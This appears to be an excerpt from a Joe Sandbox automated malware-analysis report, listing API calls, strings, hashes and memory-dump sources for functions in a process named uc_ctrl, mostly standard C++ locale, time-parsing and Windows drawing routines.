??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE5F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,00000000), ref: 6D1AE603
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 6D1AE614
new.LIBCMT ref: 6D1AE629
??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE65A
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE668
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE679
new.LIBCMT ref: 6D1AE68E
_Getcoll.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6AD
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6C1
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6CF
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE6E0
new.LIBCMT ref: 6D1AE6F5
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE70E
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE72D
new.LIBCMT ref: 6D1AE746
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D1AE75F
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1AE77E
new.LIBCMT ref: 6D1AE797
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1AE7B0
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000001,00000000,00000000), ref: 6D1AE7CF
new.LIBCMT ref: 6D1AE7E8

Strings

&, xrefs: 6D1AE8DA
+, xrefs: 6D1AE98D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$H_prolog3$??0?$ctype@_??1_GetcollLocinfo@1@Lockit@std@@W@std@@_lock_localesctypemalloc
String ID: &$+
API String ID: 2983661360-2664823718
Opcode ID: 2c0af7c898f6540245bcbf1570e479859f7407c7e7e87e88099a03f05fc3cc37
Instruction ID: b66eaaab186bc22dc1a0c57a932078fab0be4bcc570f8fc6ae536153fd99adab
Opcode Fuzzy Hash: 2c0af7c898f6540245bcbf1570e479859f7407c7e7e87e88099a03f05fc3cc37
Instruction Fuzzy Hash: 73B118B8E483059FDB01DFA88900B7F76F9AF55324F1A451DE955FB288DBF44A0087A2

Function 6D1BA880 Relevance: 54.3, APIs: 36, Instructions: 261COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BA887
_Getcoll.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA8C8

Part of subcall function 6D19ED50: ___lc_collate_cp_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19ED51
Part of subcall function 6D19ED50: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19ED59
Part of subcall function 6D19ED50: _wcsdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19ED67

??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1BAABC

Part of subcall function 6D1BD781: __EH_prolog3.LIBCMT ref: 6D1BD788
Part of subcall function 6D1BD781: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1BAACA), ref: 6D1BD793
Part of subcall function 6D1BD781: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1BD7AB
Part of subcall function 6D1BD781: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D1BD80D

??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BAB1A

Part of subcall function 6D1BD81A: __EH_prolog3.LIBCMT ref: 6D1BD821
Part of subcall function 6D1BD81A: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1BAB28,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E), ref: 6D1BD82C
Part of subcall function 6D1BD81A: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6D1BD844
Part of subcall function 6D1BD81A: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6D1BD8A8

??Bid@locale@std@@QAEIXZ.MSVCP140(?,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E), ref: 6D1BAB66
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA8DC

Part of subcall function 6D1A18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(01109540,6D1F3E74,?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?), ref: 6D1A1900
Part of subcall function 6D1A18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6D1A635B,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000), ref: 6D1A191B

new.LIBCMT ref: 6D1BA8A9

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA8EA
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BA8FB
new.LIBCMT ref: 6D1BA910
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA929
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA937
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BA948
new.LIBCMT ref: 6D1BA961
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA97A
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA988
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BA999
new.LIBCMT ref: 6D1BA9B2
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA9CB
??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E,?,?), ref: 6D1BA9D9
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BA9EA
new.LIBCMT ref: 6D1BAA03
??Bid@locale@std@@QAEIXZ.MSVCP140(00000058,00000000), ref: 6D1BAA3F
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1BAA4D
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6D1BAA5E
new.LIBCMT ref: 6D1BAA73
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,00000004), ref: 6D1BAAAE
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000), ref: 6D1BAACD
new.LIBCMT ref: 6D1BAAE6
??0?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E), ref: 6D1BAAFC
??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E), ref: 6D1BAB0C
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BAB2B
new.LIBCMT ref: 6D1BAB40
?_Init@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C,6D1A1A8E), ref: 6D1BAB5C
?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?,00000000,0000003C), ref: 6D1BAB85

Part of subcall function 6D1A81D0: __EH_prolog3.LIBCMT ref: 6D1A81D7
Part of subcall function 6D1A81D0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6D1BAB8A,00000000,00000000,00000000,0000000C,6D1A80D5,?,?,?,00000000,0000000C,6D1A8148,?,0000003F,?), ref: 6D1A81E0
Part of subcall function 6D1A81D0: _realloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00000004), ref: 6D1A8209
Part of subcall function 6D1A81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6D1A8215
Part of subcall function 6D1A81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6D1A8288

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$??1_H_prolog3Lockit@std@@_lock_locales$D@std@@@std@@@std@@U?$char_traits@$??0?$time_get@Concurrency::cancel_current_taskGetcollInit@?$time_put@Locinfo@1@Locinfo@2@@V?$istreambuf_iterator@V?$ostreambuf_iterator@___lc_collate_cp_func___lc_locale_name_func_realloc_base_wcsdupmalloc
String ID:
API String ID: 2133787414-0
Opcode ID: e79385255130fbf110471f7fda1f6c7490f69bc3ab98768028aeb32f41598184
Instruction ID: a50e4f7d86f3118c9a1111b2da5adfd75d05d332f47b98fea4e5a6fc7be35bc6
Opcode Fuzzy Hash: e79385255130fbf110471f7fda1f6c7490f69bc3ab98768028aeb32f41598184
Instruction Fuzzy Hash: 41811774E083019FDB14DF788900A7FB6EAAF95364F16451DEA95AB28CCFF44D0087A2

Function 6CF5C42C Relevance: 40.8, APIs: 27, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 6CEFD5E0: GetWindowLongW.USER32(?,000000EC), ref: 6CEFD5ED

GetClientRect.USER32(?,?), ref: 6CF5C49C
CopyRect.USER32(00000000,?), ref: 6CF5C4C9

Part of subcall function 6CEF617E: ScreenToClient.USER32(?,?), ref: 6CEF618D
Part of subcall function 6CEF617E: ScreenToClient.USER32(?,?), ref: 6CEF619A

IntersectRect.USER32(?,00000000,?), ref: 6CF5C515
SetRectEmpty.USER32(?), ref: 6CF5C523
IntersectRect.USER32(?,00000000,?), ref: 6CF5C555
SetRectEmpty.USER32(?), ref: 6CF5C563
IsRectEmpty.USER32(?), ref: 6CF5C56D
IsRectEmpty.USER32(?), ref: 6CF5C57B
GetWindowRect.USER32(?,?), ref: 6CF5C59E
GetWindowRect.USER32(?,00000000), ref: 6CF5C5C5
UnionRect.USER32(?,?,00000000), ref: 6CF5C5E3
EqualRect.USER32(?,00000000), ref: 6CF5C5F1
GetWindowRect.USER32(?,?), ref: 6CF5C685
IsRectEmpty.USER32(?), ref: 6CF5C6E9
MapWindowPoints.USER32(?,?,?,00000002), ref: 6CF5C708
RedrawWindow.USER32(?,?,00000000,00000185), ref: 6CF5C71F
IsRectEmpty.USER32(?), ref: 6CF5C736
EqualRect.USER32(?,?), ref: 6CF5C748
MapWindowPoints.USER32(?,?,?,00000002), ref: 6CF5C767
RedrawWindow.USER32(?,?,00000000,00000185), ref: 6CF5C77E
UpdateWindow.USER32(?), ref: 6CF5C78D
IsRectEmpty.USER32(?), ref: 6CF5C7D5
InvalidateRect.USER32(?,?,00000001), ref: 6CF5C7E8
IsRectEmpty.USER32(?), ref: 6CF5C7F2
EqualRect.USER32(?,?), ref: 6CF5C804
InvalidateRect.USER32(?,?,00000001), ref: 6CF5C817
UpdateWindow.USER32(?), ref: 6CF5C820

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$Window$Empty$ClientEqual$IntersectInvalidatePointsRedrawScreenUpdate$CopyLongUnion
String ID:
API String ID: 4119827998-0
Opcode ID: b28b8eec013bc7027edac3a25e4b8fcf21d3445c8fc53073bffcc6ab53cef857
Instruction ID: a5af33995170079df6cc35436d2d671d2e383ef8250664b954f6115ee4235dff
Opcode Fuzzy Hash: b28b8eec013bc7027edac3a25e4b8fcf21d3445c8fc53073bffcc6ab53cef857
Instruction Fuzzy Hash: 6BD1F871900219AFDF11DFA4CA84BDEBBB9FF09705F20416AE90AEB250D771AA45CF50

Function 6D1BAD70 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 258COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1BAD77
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000014), ref: 6D1BAD85

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1A632C: __EH_prolog3.LIBCMT ref: 6D1A6333
Part of subcall function 6D1A632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A633E
Part of subcall function 6D1A632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A6356
Part of subcall function 6D1A632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A63BA

std::locale::~locale.LIBCPMT ref: 6D1BAD9E
?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000014), ref: 6D1BADE4
?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D1BAE12
?_Getfmt@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IBE?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@PBD@Z.MSVCP140(?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6D1BAE37
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6D1BAE4F
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000017,?,00000000,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6D1BAE8C
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,?,?,?,?,?,?,%m / %d / %y), ref: 6D1BAEC4
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,00000001,0000016E,?,00000000,00000001,0000001F,?,00000000,%b %d %H : %M : %S %Y), ref: 6D1BAF11
?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,%d / %m / %y,00000006,?,00000000,%I : %M : %S %p,6D195E70,?,?,?), ref: 6D1BAFE3
?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000035,?,00000000,%H : %M : %S,0000003C,?,00000000,?), ref: 6D1BB020

Strings

%I : %M : %S %p, xrefs: 6D1BAF81
%m / %d / %y, xrefs: 6D1BAE9B
%H : %M, xrefs: 6D1BAF8B
%b %d %H : %M : %S %Y, xrefs: 6D1BAE19
%H : %M : %S, xrefs: 6D1BAFA0
%d / %m / %y, xrefs: 6D1BAFC8
:AM:am:PM:pm, xrefs: 6D1BAF4D

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@std@@@std@@U?$char_traits@_V?$istreambuf_iterator@_$D@2@@D@std@@@2@0Getint@?$time_get@V?$ctype@$V32@0Vios_base@2@$Utm@@@W@std@@@2@W@std@@@std@@@std@@$H_prolog3$??1_?get_monthname@?$time_get@_?get_weekday@?$time_get@_?get_year@?$time_get@_?getloc@ios_base@std@@Bid@locale@std@@D@std@@@2@Getfmt@?$time_get@Lockit@std@@Utm@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1504778631-2891247106
Opcode ID: 918f2cb57f1c866ef942a6eeb8dae675b950471ebabdfdfbc819fee65410ae85
Instruction ID: 8c2a69a8c26ec35174600ae10f51ef7bf37cdebf2e7604c90247e923e89e0214
Opcode Fuzzy Hash: 918f2cb57f1c866ef942a6eeb8dae675b950471ebabdfdfbc819fee65410ae85
Instruction Fuzzy Hash: 9891577159420AAFCF06CF98CD90EFB7BB9FB09314F058419FA54AA249E7B1D911CB60

Function 6CF02F0F Relevance: 28.7, APIs: 19, Instructions: 239windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF02F16
CreateRectRgnIndirect.GDI32(?), ref: 6CF02F50
CopyRect.USER32(?,?), ref: 6CF02F64
InflateRect.USER32(?,?,?), ref: 6CF02F7A
IntersectRect.USER32(?,?,?), ref: 6CF02F86
CreateRectRgnIndirect.GDI32(?), ref: 6CF02F90
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CF02FA5
CombineRgn.GDI32(?,?,?,00000003), ref: 6CF02FBF
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CF0300B
SetRectRgn.GDI32(?,?,00000004,?,?), ref: 6CF03028
CopyRect.USER32(?,?), ref: 6CF03033
InflateRect.USER32(?,?,?), ref: 6CF03049
IntersectRect.USER32(?,?,?), ref: 6CF03055
SetRectRgn.GDI32(?,?,?,?,?), ref: 6CF0306A
CombineRgn.GDI32(?,?,?,00000003), ref: 6CF0307B
CreateRectRgn.GDI32(00000000,00000000,00000000,00000000), ref: 6CF03092
CombineRgn.GDI32(?,?,?,00000003), ref: 6CF030AC

Part of subcall function 6CF0326B: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,00000000), ref: 6CF032B2
Part of subcall function 6CF0326B: CreatePatternBrush.GDI32(00000000), ref: 6CF032BF
Part of subcall function 6CF0326B: DeleteObject.GDI32(00000000), ref: 6CF032CB

PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6CF03108
PatBlt.GDI32(00000004,?,?,?,?,005A0049), ref: 6CF03167

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$Create$Combine$CopyIndirectInflateIntersect$BitmapBrushDeleteException@8H_prolog3_ObjectPatternThrow
String ID:
API String ID: 1437591364-0
Opcode ID: 030c280fd8e9d1c565496005f968d039e8c741397a6f5ee3a5bee0eb00aa7f4b
Instruction ID: 335edead451efdad7325605450ef8361ddf1a1aad88fdb4a6a9ca6203d30c953
Opcode Fuzzy Hash: 030c280fd8e9d1c565496005f968d039e8c741397a6f5ee3a5bee0eb00aa7f4b
Instruction Fuzzy Hash: 3191E0B2E01218AFDF05DFE4D994EEEBBB9BF09304B144529F916A3250DB35A905CB60

Function 6CF92416 Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 359timewindowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 6CF9242D
GetCursorPos.USER32(00000000), ref: 6CF9244B
ScreenToClient.USER32(00000000,00000000), ref: 6CF92458
GetParent.USER32(?), ref: 6CF92521
SetTimer.USER32(00000000,0000EC18,FFFFFFFE,00000000), ref: 6CF9257F
InvalidateRect.USER32(00000000,00000054,00000001), ref: 6CF9258E
UpdateWindow.USER32(00000000), ref: 6CF92597
KillTimer.USER32(00000000,0000EC18,00000000,?,?,00000000), ref: 6CF925B2
GetParent.USER32(?), ref: 6CF92684
GetParent.USER32(?), ref: 6CF926EC
SendMessageW.USER32(?,0000011F,?,?), ref: 6CF9276B
KillTimer.USER32(0000EC18,0000EC18,?,?,00000000), ref: 6CF927A4
__EH_prolog3.LIBCMT ref: 6CF927BC
GetCursorPos.USER32(?), ref: 6CF92885

Part of subcall function 6CF97892: __EH_prolog3.LIBCMT ref: 6CF97899

Strings

Control Panel\Desktop, xrefs: 6CF92806
MenuShowDelay, xrefs: 6CF92833

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
